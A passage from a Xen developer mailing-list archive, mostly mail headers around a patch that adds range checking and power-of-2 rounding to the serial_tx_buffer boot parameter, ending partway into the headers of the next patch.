 b=B4QLz9O7B2Ki9GqNxtoVYPEJmN5L/7vRuqWty+XAPcPpiBkEIakAciptAkJhxLOmIVcz4N7RTuGd0cnKT0KERC8bRAk5GT/1ZeNlq9+vNPWTv1yWXdYKuRRpdJh9jXwkBUBScM1Vo+O68Opv/o+Zk4XPRAFEYeMNG0e1+NVAmc4=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=cyF5ugYOqwZ9hJzOD3szdmvtHv1xbZee9OgAzDKVR9Q=; b=
	Ka7Qzl1F0Hl6rxGCU6gFqYh3HfWpk8PxJ+NfEB0fICrXFe1WjyHP+MpjmPZXi+PA
	D2hMraaySmqelIhgPhzAQbNY6hl5cZAJnzyTwMyGIC6cMarepy6Il7eBUgNtHMU4
	GMdipYdrSuu7DZhCr6vFDvwsDLMKnjLnfgzsDI2oxvdjr9nsSTTtzmQr28mpg1vB
	BCtesARq4YCLLtODzLGrGYU/eXYJIyGSukU4OfhcMg4PA0F4Br1CMPwql9Kw3bvo
	6O6cZiQ3AtcjKxtRkA1MMFg6THvv6g6NXw+1HEBLZqU4h/01qEFwR8UWO+29aDu7
	lorgQsKtZjg+4SSq+tuodg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=cyF5ugY
	OqwZ9hJzOD3szdmvtHv1xbZee9OgAzDKVR9Q=; b=lLLEckob1zibpF5Xato99LD
	8iDDKUznIIsBVbs9qwwifh+/wMtsC+YsM8HmtB3PKlbO7MAcGDIykprU4L2+oPM6
	rHx/dxli3WsiizjxKYQsmdKPh+5Q8gVxTWUw4fN35TYIrxteDsQ8+0EfSkdJzcfi
	o7hiHst5laVagjs6N47G+HPbZBBjDq8myDq0fEemdkHOjEITtEl7wZkoTDWrVQNq
	KzsfiTx2yklqXmfnGjTU4vxnZjcRwLd+bX7D26W4QrEPyN9uUdREnxT86xLY0GSt
	cnw/EBbm5eLEKaU2O0IusrQWQLcVf1Thk06m0gpkxb62u2o5gbxJyqrFnxKzGCw=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: jLCowgyFpDexijLCpwt0bM
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v7 6/7] xen/serial: harden serial_tx_buffer checks
Date: Mon, 13 Jul 2026 11:16:18 -0700
Message-ID: <20260713181619.672176-7-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260713181619.672176-1-dmukhin@ford.com>
References: <20260713181619.672176-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0
 adultscore=0 phishscore=0 suspectscore=0 bulkscore=0 malwarescore=0
 lowpriorityscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607130189
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH3PEPF0000000D:EE_|CH1PPF801F77A33:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: 84077b64-1eb4-461e-65ac-08dee10ae45d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|1800799024|36860700016|23010399003|376014|22082099003|18002099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	55FCN/5oYzO4BI8kGBeGWpcglsM6lX5OTNsQ/YqTQeUbQ2Xt1mqhHflS+FrgCkbJpKhANdM2hIb+HTTB1p17IUWHXN92AdJUFD3PpajMZhzbdTIKskh5ngjxnpqpOlJqr6zQNdIQyq9yA5b9kxV/hfO0739Gzvh4SqWc2lr5G5bJvFnv75UK1bxUphgGWuDYnH/7s2WZ/Bl6DPOKEoXAA+dgo/Wq4jI3KbOutLXF6tyF8NKon7+vtwrjJuA2Izf7UbFYSnBOEQf3prCCEz0CWIrkPfpCOxkYBySDqO8hofjRUBoPD0wVbd80YfqsjNxz0z+AiegLcYKXWhHzlPCOV5h2NW69N3yES31Tns1sqMh4lV4uNUzvae5m1+vQ4r3XlaXWIiTDXwJyou+2uyf/HQ0IwAotm3FVduSgOLt+v54MnUweUDJmEuMT8HjWcEXvgBojEum6X+iDBrYgwyMXLNrhHhosvcgRxNE6szljBQZFgVFJdZlnbZTASz+B8GbCYTHorNQoY0/k6uMuMIn7dc4NthNTGTS9w0yI50duIX8rDfipwdhvbmfPwOmaxPON8i71JawcK3AoCJHc8a2ePCgebst4liR5DmssZ2pISULquXvXN9Gzg5HemZOKOtCG7NLuQNoDf+7bFokP6vdYEDkOjCyKNbZltzKOL9oERhxeNhzIN3EIPD8tjm5dcRUTKM9++pMm5pOQAQYICer2qw==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(36860700016)(23010399003)(376014)(22082099003)(18002099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	y/p1zA4VfJQJqyh7AMd9jaN2vQ8p5UvNJOOhDHl8+XT5pzHQ6FUZTHTRrF7t081bJq+y0FqbxKoOKNBWc1CxDg+GPzCePYljcavLOA2fhcxWDTctVhzKbiAFyy2wgi7oWHq9xRbrw04NR8e6nOwqyX/EHNBGFEsa7J5g7Cd+4bKiSEH55HR8oIoqSOU6iTGoF+qaEQAmmSX7px5dhwjwkyeSRXS9xf85oufQ2GHlfoHKkEIR/4fXFdSmHZ0d+/7JRHBM7HFVVEcSboRHu/wesoZ7+15Y7G2BcsMKA8u7um6dpK6s6MyYkOnuyvTRvmT82DCb+Wp+KGwFWVWE1EgKlazDY+vHjfr2cVfnLk6kspaCX7sIGhCUQa/k00eqx5SMtWvvNOsvqFKa2qAqFXKr8REbikinI7PqN0cS6HWnllYaiuN7m3fS+D4kBVztQQs3
X-Exchange-RoutingPolicyChecked:
	P3H98ZB4N7gDFwWa6x25lcZSypydsLoattaOZfH/g5qR5CY8fWvuJSf5zK6NerUWoChadM3EzIVI+ORoR3/s8Gf80t1bJ7QSUoNnO1E6fgwpqbnUXEPtmbBUSyepA0CRfHigJMWrspxARgFIbxB/+5Q1dVTgUAaLgHOjfpy47jr/7uTgLQFQX1A4G/rxweQiYCDz6T6+y5LDtwLiDpYQeeF53kTxOZkW3M4K9/YmcuQREhHDYT/GfWIADmEigzcwEPPar54/rijqRXbCe8y7yY9aVXQji90za51DbAWXQ7cUH0EUlmkLvcvUoiF4HqYoqfrGxVmPMtxe+7WP1/QUHA==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	BW6phsokzxVhyEuOCFIprSkL/B9aYXEfVqsfBtLdKlftwmhEhnQYC3ZcdLZTjEZJDOETHwE9vIqGj+ZFCGcpBMBWm1Wp6YUeb9oOPFqfvtoX1/VJHwr9+yZZRyI8T6RrMKrWOvz5Mi8BJFwkZ/apdL0qmwvdA5QASve8Xw8Kkd+qtc90Qw6bkGJlieLwx+1JMDVmEx9DoYNFSCNXmumvWBpt61hZrTmZz4wNJwvARj9WlRCiK8wnhFuQawyoK8EfSnYo2sIOT+tZl2bRWxxs9901radQ+vPI/stQuQRJtQEcMihoYrrS9elrkRauCcBuKy1H+NuE63Whcqox0XlYVhHHI7gHnI6m6KnCIexJC2Rkto1WG+lBBuv9kDiv313GjFGTWR6pu9+D65sqjpe34jYxo4xewKGkTpNlbWK3LADEgvaOLkgFaOCNFdc9DaFu4SNSsxeQvRrwi17CWlrL5d/6ZWLXBqvJymwKIom8iXg3gjgQeNCdeQhpFcdrJzeDONEf6fcarfyKuQ99VTITgC1GRRct7y+eU/85Wukr8EyIUbQFX6m9VlWHvqSMt8IsXqIiuvtBCEGrp2PgciSa571ofkp15/0RYkKezPxNsF4js1VcfqhBU55ILcH0v0ZbGXPhRBl7kZJtff7Mdj1lYw==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 13 Jul 2026 18:16:42.9009
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 84077b64-1eb4-461e-65ac-08dee10ae45d
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH3PEPF0000000D.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH1PPF801F77A33
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzEzMDE4OSBTYWx0ZWRfX0ghqBMPzJWYI
 Dtfx02GDTidn7DMwXKX3NLnZAYFMMR1c3XUhzRX38NWrfDZwedXHs1xMJTeZ08TSBcjMCyK3DbT
 qYXKO8cClk0B2bk77eyv3Jilq0vjaLoWTuxIfx5Po/gV3Kjs7N6Nd4rP0WcyJbKfF5QcWTfkW2V
 YTBHrD57wVs8wqxbKtKkWXeVXLhYbt1hloXaTRJ4YWhD6uSPhx75TphPz17HxnRV7eL/boem2Ps
 s0SmkJL03UrcnF0JzSkioj+U5yLmwIJNDf/d83yQpbYGtjCI5iMadzHHWgkIHNcLogmiHVKM1rx
 KUc34Y6Noa0nJDVrUhIHIYAk4dySKfqrAxg7TjkiiBsqhVa/Ot76CwifVkd/I+Jo7nzMZw1trxw
 nE1bQwHAeEIXXyE8NvNvJ8czrajB5UjdyUWfpffgCLJfVw01X3jAtT2T7gCKoX/KWoYc/8hGdkE
 5TpHCPAIHpGw3XwpYPw==
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzEzMDE4OSBTYWx0ZWRfX2jP/imDd1tQT
 tAdGNx9BFqb142hz2NyOr3IFkBQx/p06zfOhqtiK9gwWrXOdb3Djyg/qOOCTsSGubfaiFFcPs94
 yzX9PgZmVOOWY6SBxspPPBBiRN87vDGEeoN4lvFMQ06f7D81hYAF
X-Proofpoint-ORIG-GUID: TAPFnlXEhw-xewCqZvZ-a5HHfhoBKN0A
X-Proofpoint-GUID: TAPFnlXEhw-xewCqZvZ-a5HHfhoBKN0A
X-Authority-Analysis: v=2.4 cv=XszK/1F9 c=1 sm=1 tr=0 ts=6a552b93 cx=c_pps
 a=lJB3plHzOIAfJWf+6KWQLg==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=-OawqTZBqJjt90xPb8wn:22 a=cbNQJ9GKAAAA:8
 a=d_7IluH7EV2a-zxrXzAA:9 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 priorityscore=1501 bulkscore=0 malwarescore=0 clxscore=1015 suspectscore=0
 adultscore=0 lowpriorityscore=0 impostorscore=0 phishscore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607130189
X-purgate-ID: tlsNG-d62444/1783966613-BA4F30A8-F136AC75/0/0
X-purgate-type: clean
X-purgate-size: 1986

From: Denis Mukhin <dmukhin@ford.com> 

Ensure the user-defined value never crosses 2GB boundary and always
rounded to the next power of 2 to align with console driver conring
buffer management code.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v6:
- new patch
---
 docs/misc/xen-command-line.pandoc |  2 ++
 xen/drivers/char/serial.c         | 21 ++++++++++++++++++++-
 2 files changed, 22 insertions(+), 1 deletion(-)

diff --git a/docs/misc/xen-command-line.pandoc b/docs/misc/xen-command-line.pandoc
index 1c711fa98086..2be8772b329a 100644
--- a/docs/misc/xen-command-line.pandoc
+++ b/docs/misc/xen-command-line.pandoc
@@ -2396,6 +2396,8 @@ accidentally leaking secrets by releasing pages without proper sanitization.
 
 Set the serial transmit buffer size.
 
+The value provided will be rounded down to the nearest power of 2.
+
 ### serrors (ARM)
 > `= diverse | panic`
 
diff --git a/xen/drivers/char/serial.c b/xen/drivers/char/serial.c
index e3c356408987..25d0dbf91ae9 100644
--- a/xen/drivers/char/serial.c
+++ b/xen/drivers/char/serial.c
@@ -16,7 +16,26 @@
 #include <asm/processor.h>
 
 unsigned int __ro_after_init serial_txbufsz = CONFIG_SERIAL_TX_BUFSIZE;
-size_param("serial_tx_buffer", serial_txbufsz);
+
+static int __init cf_check parse_serial_txbufsz(const char *s)
+{
+    long long val;
+
+    if ( parse_signed_integer("serial_tx_buffer", s, NULL, &val) )
+        return 0;
+
+    if ( val < KB(16) || val > GB(2) )
+    {
+        printk(XENLOG_WARNING "'serial_tx_buffer=%lld' value out of range, "
+               "falling back to default\n", val);
+        val = CONFIG_SERIAL_TX_BUFSIZE;
+    }
+
+    serial_txbufsz = PAGE_SIZE << get_order_from_bytes(val);
+
+    return 0;
+}
+custom_param("serial_tx_buffer", parse_serial_txbufsz);
 
 #define mask_serial_rxbuf_idx(_i) ((_i)&(serial_rxbufsz-1))
 #define mask_serial_txbuf_idx(_i) ((_i)&(serial_txbufsz-1))
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 18:16:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 18:16:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361824.1613933 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLD5-0005x4-OI; Mon, 13 Jul 2026 18:16:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361824.1613933; Mon, 13 Jul 2026 18:16:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLD5-0005w6-In; Mon, 13 Jul 2026 18:16:55 +0000
Received: by outflank-mailman (input) for mailman id 1361824;
 Mon, 13 Jul 2026 18:16:54 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wjLD4-0005qJ-BT
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 18:16:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjLD3-00G2qg-OD
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:16:53 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b6a-bab6-0a2a0a5309dd-0a2a4505a73e-36
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:53 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b93-4f1d-0a2a45050019-94a39217d4d4-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:53 +0200
Received: from pps.filterd (m0367126.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DI3L3J4006399
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 18:16:51 GMT
Received: from sj2pr03cu001.outbound.protection.outlook.com
 (mail-westusazon11012016.outbound.protection.outlook.com [52.101.43.16])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fd38b1gf1-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 18:16:51 +0000 (GMT)
Received: from CH5PR02CA0017.namprd02.prod.outlook.com (2603:10b6:610:1ed::19)
 by CH0PR16MB5254.namprd16.prod.outlook.com (2603:10b6:610:190::14)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.23; Mon, 13 Jul
 2026 18:16:45 +0000
Received: from CH1PEPF0000A346.namprd04.prod.outlook.com
 (2603:10b6:610:1ed:cafe::5) by CH5PR02CA0017.outlook.office365.com
 (2603:10b6:610:1ed::19) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.19 via Frontend
 Transport; Mon, 13 Jul 2026 18:16:45 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 CH1PEPF0000A346.mail.protection.outlook.com (10.167.244.11) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Mon, 13 Jul 2026 18:16:44 +0000
Received: from pps.filterd (m0426315.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DI3l3h2030717
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:43 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [44.208.76.22])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fc7qrspvw-4
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:43 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id jLCrwD4EZdXbVjLCsw959k; Mon, 13 Jul 2026 18:16:43 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=4kt
	jYVJyGdNOdJlnbJpt9EEJgp53hevXtpmLI4lNADE=; b=vFxpzXMlqw/39E6nipG
	iMoe5n73EpUJfYghLpe7o0KqKsr7DjJj3q4+kajONuY24cnceclir2ZE7sELx83u
	uYTY8JXfue97Mrb+6nQBoREoMO4ts8vyw1HMrxR6auuBP8k6li5/hG/Qs55EGHtr
	ilY9HiHmzt+8oQdAgkU92Hlf1wE4Z6SzYk5e4pZSGWxm5sYvfzKI/UTZl+M+lgM+
	rsvrbXZtzTReS7xHl569GKSZrBGhsiDSTo9ihDqjbLeHM5aDcyEB6h5cqgI0AQC0
	+NsUP2RLteuLxKJrvRU7Jp3Cbt9sHvS8vx9EUALn4UCbnvxpOeF62JObkapvheZe
	j/Q==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ML+h+lm18NhNoWdOml8wSLacs8UVyNHb1lVH9eEJI/Ux2xGxRDAxw0By4v78ud+uIaYWh5c7rSghI064YdAQEB/P6jwxnn5ivBrzGKEa5DO+05hQuu0+2CvKGgf1iqTRtuU17N9KTK17+7im6IkIo7jjB1CWng/bv9nJn2qLoxX1DspvlmBd8Xah750AHbfdKyudGsHXqczXcM8d+isZFEamCxhZHknFSTxgs4ptikE1RWWrF4yMYJc6N/dZZ4DMX/sb3NLcCPCQNjMeGDTfBr0B8O21a0/OM6mUNXlEDBLN6FCj6lfzzkwcxFF+aHzP88IniYopiZDf4iFd8wMqVg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=4ktjYVJyGdNOdJlnbJpt9EEJgp53hevXtpmLI4lNADE=;
 b=YIDfVMNUzugTZf6z81KSXvUIFMPtFkGaj8k81xyAlWDlQBvkgQIdWCFWcxIyxN+SGQLR8L+QQcLspcGpCU6Jcmw+Iw3rsudho81f8PpNjIFvRV8NPKUZhw2mVI1c+x1E9rYZpxp/sj+OsGFtwOjhVismkyOvpIdPGbftUnekdhujkh3MYQHm7OjATI567KM9FTeC4TtMBK10awwUq+F5vGzPKGpGOP5YcAHb/aijSYOKfm3F4MHKdavEours8o2Rpcw+FIX+K22IskIFDOnaN308putjDo7c6QdTyfmf3gBZC0g6Aix4pVXjSFRWMXzodrP9MO+Kkk6ZKevRbHMpzQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=4ktjYVJyGdNOdJlnbJpt9EEJgp53hevXtpmLI4lNADE=;
 b=F+FhhZA5FWVDn4gNtffbDtcWopYU2khD4N3btcq9zIr6gmhnJmArUDt5iFK5GIGabAPK/AaQ112JHqux+/DBTy35HsSJQwhjb5JoCA4rQn0X0IM3VISbud9MdQpc2qidAU1buMhIfiUUu1a1UkquEvI9guIn/noz0lhd2a7VznY=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=4ktjYVJyGdNOdJlnbJpt9EEJgp53hevXtpmLI4lNADE=; b=
	Dw1B5llzdx93Up1XW2o/e4poEN/6jQwpIplWYuNLwmA19nlj1QZxZ6mY+Sx5MfcG
	nMcVujBkYQHJmrsekyJ9U+WTx629IX3/RbM+eJnfZyvkF+WjA4gFQxQHbuDO4wth
	7+Md597NCXY772PCtK33pLuGxjoT+hSFtxuaNmM6y+px5M7bnoJbeHdVPKpUeCcZ
	xufpA76DN4X0XdLnO5MzDwLmOiQjPRZJX7oOhrP8MAy8fT+WyJgktBG/o1KCnm+r
	ZnQ8h0s6jhQLcKG250cRI8lBfWs/hGmd6htn0fzipRZjvRzPSWDszXMJpNA1UhaV
	cDh8cLiblswGyioL+cP0Sg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=4ktjYVJ
	yGdNOdJlnbJpt9EEJgp53hevXtpmLI4lNADE=; b=UqZCDGj2+FL375+hNlCbXuz
	OxbBViDS/bsM5vkWJYEu8EOQT2by1wEGHupLYkIFEnCpr416lx1JyXs9bBjeyMsm
	q9UEAqMUcE4/mBMkYwUOVLHcvNS2GErEWWg9J84AAgfwRT5hgn6An727GZRAKkbO
	q2o52gvm4n2K8+5QJ5Mm7COdE1sOF72LH4W9HxtBLJPmvMT53OtEOSQYB+cnW2uI
	F80wrUJXfPU0YbJTevTcz+rEkfMBxoIMoI0Y60ISkyMsTeUInjfjOHlkNa+eSBjN
	C1A+0eUyfF75Uexaqcp4zKPv8SE68I9FawlPRNwmVrGGxJkZ8rY4MHJvtwHuExg=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: jLCrwD4EZdXbVjLCsw959k
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v7 7/7] xen/console: make console buffer size configurable
Date: Mon, 13 Jul 2026 11:16:19 -0700
Message-ID: <20260713181619.672176-8-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260713181619.672176-1-dmukhin@ford.com>
References: <20260713181619.672176-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 lowpriorityscore=0 phishscore=0 spamscore=0 suspectscore=0 bulkscore=0
 adultscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607130189
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH1PEPF0000A346:EE_|CH0PR16MB5254:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: c1e0c5d2-51e6-4ea7-fb50-08dee10ae59b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|23010399003|1800799024|376014|82310400026|18002099003|22082099003|56012099006|11063799006|3023799007;
X-Microsoft-Antispam-Message-Info:
